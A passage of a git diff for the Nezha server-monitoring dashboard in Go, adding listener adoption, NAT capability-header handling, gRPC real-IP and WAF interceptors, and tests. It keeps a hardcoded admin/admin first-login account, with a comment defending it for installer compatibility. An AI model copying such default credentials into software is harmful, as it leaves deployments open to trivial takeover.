a/cmd/dashboard/dashboard_listener_integration.go b/cmd/dashboard/dashboard_listener_integration.go new file mode 100644 index 00000000..006bb765 --- /dev/null +++ b/cmd/dashboard/dashboard_listener_integration.go @@ -0,0 +1,178 @@ +//go:build agentcompat + +package main + +import ( + "errors" + "fmt" + "net" + "net/http" + "os" + "strconv" +) + +const ( + dashboardHTTPListenerFDEnv = "NEZHA_AGENTCOMPAT_HTTP_LISTENER_FD" + dashboardHTTPSListenerFDEnv = "NEZHA_AGENTCOMPAT_HTTPS_LISTENER_FD" + dashboardReceiptListenerFDEnv = "NEZHA_AGENTCOMPAT_RECEIPT_LISTENER_FD" +) + +func openReceiptGateListener() (net.Listener, error) { + if os.Getenv(dashboardReceiptListenerFDEnv) == "" { + return nil, nil + } + return openDashboardListener("tcp", "127.0.0.1:0", dashboardReceiptListener) +} + +var ( + errDashboardListenerKind = errors.New("unsupported dashboard listener kind") + errDashboardListenerTCP = errors.New("inherited dashboard listener is not TCP") + errDashboardListenerLoopback = errors.New("inherited dashboard listener is not loopback") +) + +type dashboardListenerError struct { + Kind dashboardListenerKind + EnvironmentVariable string + Descriptor string + Err error +} + +func (e *dashboardListenerError) Error() string { + return fmt.Sprintf("adopt %s dashboard listener from %s=%q: %v", e.Kind, e.EnvironmentVariable, e.Descriptor, e.Err) +} + +func (e *dashboardListenerError) Unwrap() error { + return e.Err +} + +func openDashboardListener(network, address string, kind dashboardListenerKind) (net.Listener, error) { + environmentVariable, err := dashboardListenerEnvironmentVariable(kind) + if err != nil { + return nil, err + } + descriptor := os.Getenv(environmentVariable) + if descriptor == "" { + return net.Listen(network, address) + } + + fileDescriptor, err := strconv.Atoi(descriptor) + if err != nil || fileDescriptor < 0 { + if err == nil { + err = fmt.Errorf("negative file descriptor: %d", fileDescriptor) + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: fmt.Errorf("parse inherited file descriptor: %w", err), + } + } + + inheritedFile := os.NewFile(uintptr(fileDescriptor), environmentVariable) + if inheritedFile == nil { + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: errors.New("open inherited file descriptor"), + } + } + + listener, listenerErr := net.FileListener(inheritedFile) + closeErr := inheritedFile.Close() + if listenerErr != nil { + listenerErr = fmt.Errorf("create listener from inherited file descriptor: %w", listenerErr) + if closeErr != nil { + listenerErr = errors.Join(listenerErr, fmt.Errorf("close inherited file descriptor wrapper: %w", closeErr)) + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: errors.Join(errDashboardListenerTCP, listenerErr), + } + } + if closeErr != nil { + listenerCloseErr := listener.Close() + err = fmt.Errorf("close inherited file descriptor wrapper: %w", closeErr) + if listenerCloseErr != nil { + err = errors.Join(err, fmt.Errorf("close adopted listener: %w", listenerCloseErr)) + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: err, + } + } + + tcpListener, ok := listener.(*net.TCPListener) + if !ok { + if closeErr := listener.Close(); closeErr != nil { + err = errors.Join(errDashboardListenerTCP, fmt.Errorf("close rejected listener: %w", closeErr)) + } else { + err = errDashboardListenerTCP + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: err, + } + } + + tcpAddress, ok := tcpListener.Addr().(*net.TCPAddr) + if !ok { + if closeErr := tcpListener.Close(); closeErr != nil { + err = errors.Join(errDashboardListenerTCP, fmt.Errorf("close rejected TCP listener: %w", closeErr)) + } else { + err = errDashboardListenerTCP + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: err, + } + } + if !tcpAddress.IP.IsLoopback() { + if closeErr := tcpListener.Close(); closeErr != nil { + err = errors.Join(errDashboardListenerLoopback, fmt.Errorf("close rejected listener: %w", closeErr)) + } else { + err = errDashboardListenerLoopback + } + return nil, &dashboardListenerError{ + Kind: kind, + EnvironmentVariable: environmentVariable, + Descriptor: descriptor, + Err: err, + } + } + return tcpListener, nil +} + +func dashboardListenerEnvironmentVariable(kind dashboardListenerKind) (string, error) { + switch kind { + case dashboardHTTPListener: + return dashboardHTTPListenerFDEnv, nil + case dashboardHTTPSListener: + return dashboardHTTPSListenerFDEnv, nil + case dashboardReceiptListener: + return dashboardReceiptListenerFDEnv, nil + default: + return "", &dashboardListenerError{Kind: kind, Err: errDashboardListenerKind} + } +} + +func serveDashboardHTTPS(server *http.Server, certificatePath, keyPath string) (err error) { + listener, err := openDashboardListener("tcp", server.Addr, dashboardHTTPSListener) + if err != nil { + return err + } + defer func() { + if closeErr := listener.Close(); closeErr != nil && !errors.Is(closeErr, net.ErrClosed) { + err = errors.Join(err, fmt.Errorf("close HTTPS dashboard listener: %w", closeErr)) + } + }() + return server.ServeTLS(listener, certificatePath, keyPath) +} diff --git a/cmd/dashboard/dashboard_listener_integration_test.go b/cmd/dashboard/dashboard_listener_integration_test.go new file mode 100644 index 00000000..b3d1c5f0 --- /dev/null +++ b/cmd/dashboard/dashboard_listener_integration_test.go @@ -0,0 +1,236 @@ +//go:build agentcompat + +package main + +import ( + "errors" + "fmt" + "net" + "os" + "os/exec" + "strconv" + "syscall" + "testing" +) + +const ( + dashboardListenerHelperModeEnv = "NEZHA_AGENTCOMPAT_LISTENER_HELPER" + dashboardListenerHelperKindEnv = "NEZHA_AGENTCOMPAT_LISTENER_HELPER_KIND" +) + +func TestDashboardListener_UsesDefaultListen(t *testing.T) { + // Given + t.Setenv(dashboardHTTPListenerFDEnv, "") + t.Setenv(dashboardHTTPSListenerFDEnv, "") + + // When + listener, err := openDashboardListener("tcp", "127.0.0.1:0", dashboardHTTPListener) + + // Then + if err != nil { + t.Fatalf("open default dashboard listener: %v", err) + } + t.Cleanup(func() { + if err := listener.Close(); err != nil { + t.Errorf("close default dashboard listener: %v", err) + } + }) + address := listener.Addr().(*net.TCPAddr) + if !address.IP.IsLoopback() { + t.Fatalf("default listener address = %s, want loopback", address) + } +} + +func TestDashboardListener_AdoptsInheritedLoopback(t *testing.T) { + tests := []struct { + name string + environmentVariable string + kind dashboardListenerKind + }{ + {name: "HTTP", environmentVariable: dashboardHTTPListenerFDEnv, kind: dashboardHTTPListener}, + {name: "HTTPS", environmentVariable: dashboardHTTPSListenerFDEnv, kind: dashboardHTTPSListener}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + // Given + inherited := newDashboardTCPListener(t, "127.0.0.1:0") + inheritedFile, err := inherited.File() + if err != nil { + t.Fatalf("duplicate inherited listener for helper: %v", err) + } + t.Cleanup(func() { + if err := inheritedFile.Close(); err != nil { + t.Errorf("close helper listener file: %v", err) + } + }) + command := exec.Command(os.Args[0], "-test.run=^TestDashboardListenerAdoptionHelper$") + command.ExtraFiles = []*os.File{inheritedFile} + command.Env = append(os.Environ(), + dashboardListenerHelperModeEnv+"=1", + dashboardListenerHelperKindEnv+"="+string(test.kind), + test.environmentVariable+"=3", + ) + + // When + output, err := command.Output() + + // Then + if err != nil { + t.Fatalf("run inherited listener helper: %v", err) + } + var adoptedAddress string + var adoptedInode uint64 + if _, err := fmt.Sscanf(string(output), "%s %d", &adoptedAddress, &adoptedInode); err != nil { + t.Fatalf("parse helper output %q: %v", output, err) + } + if want := inherited.Addr().String(); adoptedAddress != want { + t.Fatalf("adopted listener address = %q, want %q", adoptedAddress, want) + } + if want := dashboardTCPListenerInode(t, inherited); adoptedInode != want { + t.Fatalf("adopted listener inode = %d, want %d", adoptedInode, want) + } + t.Logf("adopted address=%s inode=%d", adoptedAddress, adoptedInode) + }) + } +} + +func TestDashboardListenerAdoptionHelper(t *testing.T) { + if os.Getenv(dashboardListenerHelperModeEnv) != "1" { + return + } + kind := dashboardListenerKind(os.Getenv(dashboardListenerHelperKindEnv)) + listener, err := openDashboardListener("tcp", "127.0.0.1:1", kind) + if err != nil { + t.Fatalf("adopt inherited dashboard listener: %v", err) + } + t.Cleanup(func() { + if err := listener.Close(); err != nil { + t.Errorf("close adopted dashboard listener: %v", err) + } + }) + tcpListener, ok := listener.(*net.TCPListener) + if !ok { + t.Fatalf("adopted listener type = %T, want *net.TCPListener", listener) + } + fmt.Printf("%s %d\n", listener.Addr(), dashboardTCPListenerInode(t, tcpListener)) +} + +func TestDashboardListener_RejectsPipeFD(t *testing.T) { + // Given + reader, writer, err := os.Pipe() + if err != nil { + t.Fatalf("create pipe fixture: %v", err) + } + t.Cleanup(func() { + if err := reader.Close(); err != nil && !errors.Is(err, os.ErrClosed) && !errors.Is(err, syscall.EBADF) { + t.Errorf("close pipe reader: %v", err) + } + if err := writer.Close(); err != nil { + t.Errorf("close pipe writer: %v", err) + } + }) + t.Setenv(dashboardHTTPListenerFDEnv, strconv.FormatUint(uint64(reader.Fd()), 10)) + + // When + listener, err := openDashboardListener("tcp", "127.0.0.1:0", dashboardHTTPListener) + + // Then + if listener != nil { + t.Cleanup(func() { _ = listener.Close() }) + t.Fatal("pipe FD produced a dashboard listener") + } + requireDashboardListenerError(t, err, errDashboardListenerTCP) +} + +func TestDashboardListener_RejectsNonLoopback(t *testing.T) { + // Given + inherited := newDashboardTCPListener(t, "0.0.0.0:0") + setDashboardInheritedListenerFD(t, dashboardHTTPListenerFDEnv, inherited) + + // When + listener, err := openDashboardListener("tcp", "127.0.0.1:0", dashboardHTTPListener) + + // Then + if listener != nil { + t.Cleanup(func() { _ = listener.Close() }) + t.Fatal("non-loopback FD produced a dashboard listener") + } + requireDashboardListenerError(t, err, errDashboardListenerLoopback) +} + +func newDashboardTCPListener(t *testing.T, address string) *net.TCPListener { + t.Helper() + listener, err := net.Listen("tcp", address) + if err != nil { + t.Fatalf("listen on %s: %v", address, err) + } + tcpListener, ok := listener.(*net.TCPListener) + if !ok { + _ = listener.Close() + t.Fatalf("listener type = %T, want *net.TCPListener", listener) + } + t.Cleanup(func() { + if err := tcpListener.Close(); err != nil { + t.Errorf("close inherited listener fixture: %v", err) + } + }) + return tcpListener +} + +func setDashboardInheritedListenerFD(t *testing.T, environmentVariable string, listener *net.TCPListener) { + t.Helper() + rawConnection, err := listener.SyscallConn() + if err != nil { + t.Fatalf("get listener syscall connection: %v", err) + } + var inheritedFD int + var duplicateError error + if err := rawConnection.Control(func(fd uintptr) { + inheritedFD, duplicateError = syscall.Dup(int(fd)) + }); err != nil { + t.Fatalf("access listener FD: %v", err) + } + if duplicateError != nil { + t.Fatalf("duplicate listener FD: %v", duplicateError) + } + t.Cleanup(func() { + if err := syscall.Close(inheritedFD); err != nil && !errors.Is(err, syscall.EBADF) { + t.Errorf("close duplicated listener FD: %v", err) + } + }) + t.Setenv(environmentVariable, strconv.Itoa(inheritedFD)) +} + +func dashboardTCPListenerInode(t *testing.T, listener *net.TCPListener) uint64 { + t.Helper() + rawConnection, err := listener.SyscallConn() + if err != nil { + t.Fatalf("get listener syscall connection: %v", err) + } + var stat syscall.Stat_t + var statError error + if err := rawConnection.Control(func(fd uintptr) { + statError = syscall.Fstat(int(fd), &stat) + }); err != nil { + t.Fatalf("access listener FD: %v", err) + } + if statError != nil { + t.Fatalf("stat listener FD: %v", statError) + } + return stat.Ino +} + +func requireDashboardListenerError(t *testing.T, err, cause error) { + t.Helper() + if err == nil { + t.Fatal("openDashboardListener error = nil, want typed error") + } + if !errors.Is(err, cause) { + t.Fatalf("openDashboardListener error = %v, want cause %v", err, cause) + } + var listenerError *dashboardListenerError + if !errors.As(err, &listenerError) { + t.Fatalf("openDashboardListener error type = %T, want *dashboardListenerError", err) + } +} diff --git a/cmd/dashboard/dashboard_listener_test.go b/cmd/dashboard/dashboard_listener_test.go new file mode 100644 index 00000000..0b4af805 --- /dev/null +++ b/cmd/dashboard/dashboard_listener_test.go @@ -0,0 +1,26 @@ +package main + +import "testing" + +func TestDashboardListenerAddress_PreservesCurrentSemantics(t *testing.T) { + tests := []struct { + name string + host string + port uint16 + want string + }{ + {name: "empty host", host: "", port: 8008, want: ":8008"}, + {name: "loopback IPv4", host: "127.0.0.1", port: 8008, want: "127.0.0.1:8008"}, + {name: "loopback IPv6", host: "::1", port: 8008, want: "::1:8008"}, + } + + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + got := dashboardListenerAddress(test.host, test.port) + + if got != test.want { + t.Fatalf("dashboardListenerAddress(%q, %d) = %q, want %q", test.host, test.port, got, test.want) + } + }) + } +} diff --git a/cmd/dashboard/main.go b/cmd/dashboard/main.go index 12eedc90..066598af 100644 --- a/cmd/dashboard/main.go +++ b/cmd/dashboard/main.go @@ -8,7 +8,6 @@ import ( "flag" "fmt" "log" - "net" "net/http" "os" "runtime/debug" @@ -24,15 +23,16 @@ import ( "github.com/nezhahq/nezha/cmd/dashboard/controller/waf" "github.com/nezhahq/nezha/cmd/dashboard/rpc" "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/idcodec" "github.com/nezhahq/nezha/pkg/utils" "github.com/nezhahq/nezha/proto" "github.com/nezhahq/nezha/service/singleton" ) type DashboardCliParam struct { - Version bool // 当前版本号 - ConfigFile string // 配置文件路径 - DatabaseLocation string // Sqlite3 数据库文件路径 + Version bool + ConfigFile string + DatabaseLocation string } var ( @@ -42,11 +42,16 @@ var ( ) func initSystem(bus chan<- *model.Service) error { - // 初始化管理员账户 var usersCount int64 if err := singleton.DB.Model(&model.User{}).Count(&usersCount).Error; err != nil { return err } + // Backward-compatible bootstrap state: existing installers and recovery + // procedures expect the first login on an empty database to be admin/admin. + // This is not a permanent credential or an authentication-bypass fallback; + // operators must complete initialization and change it before exposing the + // Dashboard. Replacing it requires a coordinated installer/migration flow so + // existing unattended installations are not locked out. if usersCount == 0 { hash, err := bcrypt.GenerateFromPassword([]byte("admin"), bcrypt.DefaultCost) if err != nil { @@ -61,17 +66,14 @@ func initSystem(bus chan<- *model.Service) error { } } - // 启动 singleton 包下的所有服务 if err := singleton.LoadSingleton(bus); err != nil { return err } - // 每天的3:30 对流量记录进行清理 if _, err := singleton.CronShared.AddFunc("0 30 3 * * *", singleton.CleanMonitorHistory); err != nil { return err } - // 每小时对流量记录进行打点 if _, err := singleton.CronShared.AddFunc("0 0 * * * *", func() { singleton.RecordTransferHourlyUsage() }); err != nil { return err } @@ -84,9 +86,17 @@ func initSystem(bus chan<- *model.Service) error { return err } + if err := singleton.StartJWTSessionGC(); err != nil { + return err + } + return nil } +func initIDCodec() error { + return idcodec.Init([]byte(singleton.Conf.JWTSecretKey)) +} + // @title Nezha Monitoring API // @version 1.0 // @description Nezha Monitoring API @@ -105,6 +115,13 @@ func initSystem(bus chan<- *model.Service) error { // @securityDefinitions.apikey BearerAuth // @in header // @name Authorization +// @description JWT session token. Browser/UI flow. Format: `Bearer ` or cookie `nz-jwt`. + +// @securityDefinitions.apikey APITokenAuth +// @in header +// @name Authorization +// @description Personal Access Token (PAT). Programmatic/CI/LLM flow. Format: `Bearer nzp_`. +// @description Each endpoint enforces a specific scope; see the `controller` package godoc for the authoritative scope table. // @externalDocs.description OpenAPI // @externalDocs.url https://swagger.io/resources/open-api/ @@ -122,6 +139,7 @@ func main() { serviceSentinelDispatchBus := make(chan *model.Service) if err := utils.FirstError(singleton.InitFrontendTemplates, func() error { return singleton.InitConfigFromPath(dashboardCliParam.ConfigFile) }, + initIDCodec, singleton.InitTimezoneAndCache, func() error { if singleton.Conf.Memory.GoMemLimitMB > 0 { @@ -136,13 +154,24 @@ func main() { log.Fatal(err) } - l, err := net.Listen("tcp", fmt.Sprintf("%s:%d", singleton.Conf.ListenHost, singleton.Conf.ListenPort)) + l, err := openDashboardListener("tcp", dashboardListenerAddress(singleton.Conf.ListenHost, singleton.Conf.ListenPort), dashboardHTTPListener) if err != nil { log.Fatal(err) } + receiptListener, err := openReceiptGateListener() + if err != nil { + log.Fatal(err) + } + if receiptListener != nil { + defer receiptListener.Close() + rpc.SetReceiptGateListener(receiptListener) + } singleton.CleanMonitorHistory() rpc.DispatchKeepalive() + rpc.SetMCPKillSwitchObserver(func() bool { + return singleton.Conf == nil || !singleton.Conf.MCPEnabled() + }) go rpc.DispatchTask(serviceSentinelDispatchBus) go singleton.AlertSentinelStart() @@ -178,7 +207,7 @@ func main() { log.Printf("NEZHA>> Dashboard::START ON %s:%d", singleton.Conf.ListenHost, singleton.Conf.ListenPort) if singleton.Conf.HTTPS.ListenPort != 0 { go func() { - errChan <- muxServerHTTPS.ListenAndServeTLS(singleton.Conf.HTTPS.TLSCertPath, singleton.Conf.HTTPS.TLSKeyPath) + errChan <- serveDashboardHTTPS(muxServerHTTPS, singleton.Conf.HTTPS.TLSCertPath, singleton.Conf.HTTPS.TLSKeyPath) }() log.Printf("NEZHA>> Dashboard::START ON %s:%d", singleton.Conf.ListenHost, singleton.Conf.HTTPS.ListenPort) } @@ -188,6 +217,7 @@ func main() { return <-errChan }, func(c context.Context) error { log.Println("NEZHA>> Graceful::START") + rpc.CloseReceiptGate() singleton.RecordTransferHourlyUsage() singleton.CloseTSDB() log.Println("NEZHA>> Graceful::END") diff --git a/cmd/dashboard/rpc/grpc_interceptor.go b/cmd/dashboard/rpc/grpc_interceptor.go new file mode 100644 index 00000000..68b80a06 --- /dev/null +++ b/cmd/dashboard/rpc/grpc_interceptor.go @@ -0,0 +1,94 @@ +package rpc + +import ( + "context" + "fmt" + "log" + "net/netip" + + "google.golang.org/grpc" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/peer" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + "github.com/nezhahq/nezha/service/singleton" +) + +func ctxWithRealIP(ctx context.Context) (context.Context, error) { + var ip, connectingIp string + p, ok := peer.FromContext(ctx) + if ok { + addrPort, err := netip.ParseAddrPort(p.Addr.String()) + if err == nil { + connectingIp = addrPort.Addr().String() + } + } + ctx = context.WithValue(ctx, model.CtxKeyConnectingIP{}, connectingIp) + + if singleton.Conf.AgentRealIPHeader == "" { + return ctx, nil + } + + if singleton.Conf.AgentRealIPHeader == model.ConfigUsePeerIP { + if connectingIp == "" { + return ctx, fmt.Errorf("connecting ip not found") + } + ip = connectingIp + } else { + vals := metadata.ValueFromIncomingContext(ctx, singleton.Conf.AgentRealIPHeader) + if len(vals) == 0 { + return ctx, fmt.Errorf("real ip header not found") + } + var err error + ip, err = utils.GetIPFromHeader(vals[0]) + if err != nil { + return ctx, err + } + } + + if singleton.Conf.Debug { + log.Printf("NEZHA>> gRPC Agent Real IP: %s, connecting IP: %s\n", ip, connectingIp) + } + + return context.WithValue(ctx, model.CtxKeyRealIP{}, ip), nil +} + +func waf(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { + realip, _ := ctx.Value(model.CtxKeyRealIP{}).(string) + if err := model.CheckIP(singleton.DB, realip); err != nil { + return nil, err + } + return handler(ctx, req) +} + +func getRealIp(ctx context.Context, req any, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (any, error) { + ctx, err := ctxWithRealIP(ctx) + if err != nil { + return nil, err + } + return handler(ctx, req) +} + +type realIPServerStream struct { + grpc.ServerStream + ctx context.Context +} + +func (s *realIPServerStream) Context() context.Context { return s.ctx } + +func getRealIpStream(srv any, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + ctx, err := ctxWithRealIP(ss.Context()) + if err != nil { + return err + } + return handler(srv, &realIPServerStream{ServerStream: ss, ctx: ctx}) +} + +func wafStream(srv any, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + realip, _ := ss.Context().Value(model.CtxKeyRealIP{}).(string) + if err := model.CheckIP(singleton.DB, realip); err != nil { + return err + } + return handler(srv, ss) +} diff --git a/cmd/dashboard/rpc/nat.go b/cmd/dashboard/rpc/nat.go new file mode 100644 index 00000000..d5b3acb6 --- /dev/null +++ b/cmd/dashboard/rpc/nat.go @@ -0,0 +1,115 @@ +package rpc + +import ( + "fmt" + "log" + "net/http" + "time" + + "github.com/goccy/go-json" + + "github.com/hashicorp/go-uuid" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/utils" + "github.com/nezhahq/nezha/proto" + serviceRPC "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +func ServeNAT(w http.ResponseWriter, r *http.Request, natConfig *model.NAT) { + capabilityLease, capabilityErr := prepareNATCapability(r, natConfig) + if capabilityErr != nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write([]byte("NAT capability unavailable")) + return + } + handler := serviceRPC.NezhaHandlerSingleton + streamId := "" + legacyStreamOwned := false + relayCompleted := false + defer func() { + if capabilityLease.active { + if !relayCompleted { + capabilityLease.cleanup(handler) + } + return + } + if legacyStreamOwned { + _ = handler.CloseStream(streamId) + } + }() + server, _ := singleton.ServerShared.Get(natConfig.ServerID) + if server == nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write([]byte("server not found or not connected")) + return + } + if server.GetTaskStream() == nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write([]byte("server not found or not connected")) + return + } + + streamId, err := uuid.GenerateUUID() + if err != nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write(fmt.Appendf(nil, "stream id error: %v", err)) + return + } + if capabilityLease.active { + capabilityLease.streamLease, err = handler.CreateAgentCompatNATStream(capabilityLease.handle, streamId) + } else { + err = handler.CreateStream(streamId, 0, server.ID) + } + if err != nil { + w.WriteHeader(http.StatusTooManyRequests) + w.Write(fmt.Appendf(nil, "stream limit: %v", err)) + return + } + legacyStreamOwned = !capabilityLease.active + taskData, err := json.Marshal(model.TaskNAT{StreamID: streamId, Host: natConfig.Host}) + if err != nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write(fmt.Appendf(nil, "task data error: %v", err)) + return + } + + if err := server.SendTask(&proto.Task{Type: model.TaskTypeNAT, Data: string(taskData)}); err != nil { + w.WriteHeader(http.StatusServiceUnavailable) + w.Write(fmt.Appendf(nil, "send task error: %v", err)) + return + } + + // Authorization authenticates Dashboard access before NAT ingress; it must not become an origin credential for the configured NAT backend. + wWrapped, err := utils.NewRequestWrapper(r, w) + if err != nil { + return + } + + if err := handler.UserConnected(streamId, wWrapped); err != nil { + if closeErr := wWrapped.Close(); closeErr != nil { + log.Printf("NEZHA>> NAT request wrapper close error after user connection failure: %v", closeErr) + } + return + } + + if capabilityLease.active { + if err := handler.PublishAgentCompatNATStream(capabilityLease.handle, serviceRPC.AgentCompatNATPublication{ + Purpose: serviceRPC.AgentCompatCapabilityNAT, + TargetServerID: server.ID, + ResourceID: natConfig.ID, + StreamID: streamId, + }); err != nil { + return + } + } + if capabilityLease.active { + capabilityLease.publicationOwned, err = handler.StartAgentCompatNATStream(capabilityLease.handle, time.Second*10) + if err != nil { + return + } + } else if err := handler.StartStream(streamId, time.Second*10); err != nil { + return + } + relayCompleted = true +} diff --git a/cmd/dashboard/rpc/nat_capability_agentcompat.go b/cmd/dashboard/rpc/nat_capability_agentcompat.go new file mode 100644 index 00000000..d346ae77 --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_agentcompat.go @@ -0,0 +1,48 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "net/http" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + serviceRPC "github.com/nezhahq/nezha/service/rpc" +) + +type natCapabilityLease struct { + active bool + publicationOwned bool + streamLease *serviceRPC.AgentCompatNATStreamLease + access serviceRPC.AgentCompatCapabilityAccess + handle serviceRPC.AgentCompatNATPublishHandle +} + +func prepareNATCapability(request *http.Request, natConfig *model.NAT) (natCapabilityLease, error) { + values := request.Header.Values(agentcompatcontract.IOStreamCapabilityHeader) + if len(values) == 0 { + request.Header.Del("Authorization") + return natCapabilityLease{}, nil + } + request.Header.Del(agentcompatcontract.IOStreamCapabilityHeader) + if len(values) != 1 || values[0] == "" { + request.Header.Del("Authorization") + return natCapabilityLease{}, errors.New("invalid NAT capability") + } + access, handle, err := serviceRPC.NezhaHandlerSingleton.ConsumeAgentCompatNATCapabilityForProfile(values[0], natConfig.ServerID, natConfig.ID) + request.Header.Del("Authorization") + if err != nil { + return natCapabilityLease{}, errors.New("invalid NAT capability") + } + return natCapabilityLease{active: true, access: access, handle: handle}, nil +} + +func (lease natCapabilityLease) cleanup(handler *serviceRPC.NezhaHandler) { + if !lease.active { + return + } + _ = handler.CancelAgentCompatIOStreamCapability(lease.access) + _ = handler.CloseAgentCompatNATStreamLease(lease.streamLease) + _ = handler.UnregisterAgentCompatIOStreamCapability(lease.access) +} diff --git a/cmd/dashboard/rpc/nat_capability_agentcompat_test.go b/cmd/dashboard/rpc/nat_capability_agentcompat_test.go new file mode 100644 index 00000000..94910c40 --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_agentcompat_test.go @@ -0,0 +1,82 @@ +//go:build agentcompat + +package rpc + +import ( + "bytes" + "log" + "net/http" + "strings" + "testing" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + serviceRPC "github.com/nezhahq/nezha/service/rpc" +) + +func TestPrepareNATCapabilityConsumesAndRemovesHeaderBeforeNATWork(t *testing.T) { + // Given + handler := serviceRPC.NewNezhaHandler() + original := serviceRPC.NezhaHandlerSingleton + serviceRPC.NezhaHandlerSingleton = handler + t.Cleanup(func() { serviceRPC.NezhaHandlerSingleton = original }) + request := &http.Request{Header: make(http.Header)} + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "malformed") + + // When + lease, err := prepareNATCapability(request, &model.NAT{Common: model.Common{ID: 91}, ServerID: 81}) + + // Then + if err == nil { + t.Fatal("malformed capability unexpectedly accepted") + } + if lease.active { + t.Fatal("malformed capability unexpectedly activated") + } + if _, present := request.Header[agentcompatcontract.IOStreamCapabilityHeader]; present { + t.Fatal("capability header remained after hook") + } +} + +func TestPrepareNATCapabilityRejectsDuplicateHeaderAfterRemovingAllValues(t *testing.T) { + // Given + request := &http.Request{Header: make(http.Header)} + request.Header.Add(agentcompatcontract.IOStreamCapabilityHeader, "one") + request.Header.Add(agentcompatcontract.IOStreamCapabilityHeader, "two") + + // When + lease, err := prepareNATCapability(request, &model.NAT{Common: model.Common{ID: 92}, ServerID: 82}) + + // Then + if err == nil { + t.Fatal("duplicate capability header unexpectedly accepted") + } + if lease.active { + t.Fatal("duplicate capability header unexpectedly activated") + } + if _, present := request.Header[agentcompatcontract.IOStreamCapabilityHeader]; present { + t.Fatal("duplicate capability header remained after hook") + } +} + +func TestServeNATAgentCompatSensitiveHeadersStayOutOfErrorsAndLogs(t *testing.T) { + request := &http.Request{Header: make(http.Header)} + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "capability-secret") + request.Header.Set("Authorization", "Bearer deterministic-secret") + writer := &serveNATResponseWriter{} + var logs bytes.Buffer + originalOutput := log.Writer() + log.SetOutput(&logs) + t.Cleanup(func() { log.SetOutput(originalOutput) }) + + ServeNAT(writer, request, &model.NAT{Common: model.Common{ID: 91}, ServerID: 81}) + + if writer.status != http.StatusServiceUnavailable { + t.Fatalf("status = %d, want %d", writer.status, http.StatusServiceUnavailable) + } + for _, output := range []string{writer.body, logs.String()} { + if strings.Contains(output, "capability-secret") || strings.Contains(output, "deterministic-secret") { + t.Fatalf("sensitive value leaked in %q", output) + } + } +} diff --git a/cmd/dashboard/rpc/nat_capability_default.go b/cmd/dashboard/rpc/nat_capability_default.go new file mode 100644 index 00000000..8773477b --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_default.go @@ -0,0 +1,25 @@ +//go:build !agentcompat + +package rpc + +import ( + "net/http" + + "github.com/nezhahq/nezha/model" + serviceRPC "github.com/nezhahq/nezha/service/rpc" +) + +type natCapabilityLease struct { + active bool + publicationOwned bool + streamLease *serviceRPC.AgentCompatNATStreamLease + access serviceRPC.AgentCompatCapabilityAccess + handle serviceRPC.AgentCompatNATPublishHandle +} + +func prepareNATCapability(request *http.Request, _ *model.NAT) (natCapabilityLease, error) { + request.Header.Del("Authorization") + return natCapabilityLease{}, nil +} + +func (lease natCapabilityLease) cleanup(*serviceRPC.NezhaHandler) {} diff --git a/cmd/dashboard/rpc/nat_capability_default_flow_test.go b/cmd/dashboard/rpc/nat_capability_default_flow_test.go new file mode 100644 index 00000000..c3698afa --- /dev/null +++ b/cmd/dashboard/rpc/nat_capability_default_flow_test.go @@ -0,0 +1,64 @@ +//go:build !agentcompat + +package rpc + +import ( + "context" + "io" + "net/http" + "net/url" + "strings" + "testing" + "time" + + "github.com/goccy/go-json" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/agentcompatcontract" + "github.com/nezhahq/nezha/proto" +) + +func TestServeNATDefaultForwardsCapabilityHeaderAsOrdinaryData(t *testing.T) { + fixture := newServeNATFixture(t) + connection := newServeNATConn() + agent := &serveNATAgent{readErr: io.EOF, writeDone: make(chan struct{})} + request := &http.Request{ + Method: http.MethodPost, + URL: &url.URL{Scheme: "http", Host: "example.test", Path: "/nat"}, + Header: make(http.Header), + Body: &serveNATBody{}, + } + request.Header.Set(agentcompatcontract.IOStreamCapabilityHeader, "ordinary-data") + request.Header.Set("Authorization", "Bearer deterministic-secret") + fixture.taskStream.onSend = func(task *proto.Task) error { + var nat model.TaskNAT + if err := json.Unmarshal([]byte(task.Data), &nat); err != nil { + return err + } + return fixture.handler.AgentConnected(nat.StreamID, agent) + } + done := make(chan struct{}) + deadline, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + go func() { + ServeNAT(&serveNATResponseWriter{conn: connection}, request, &model.NAT{ServerID: fixture.server.ID, Host: 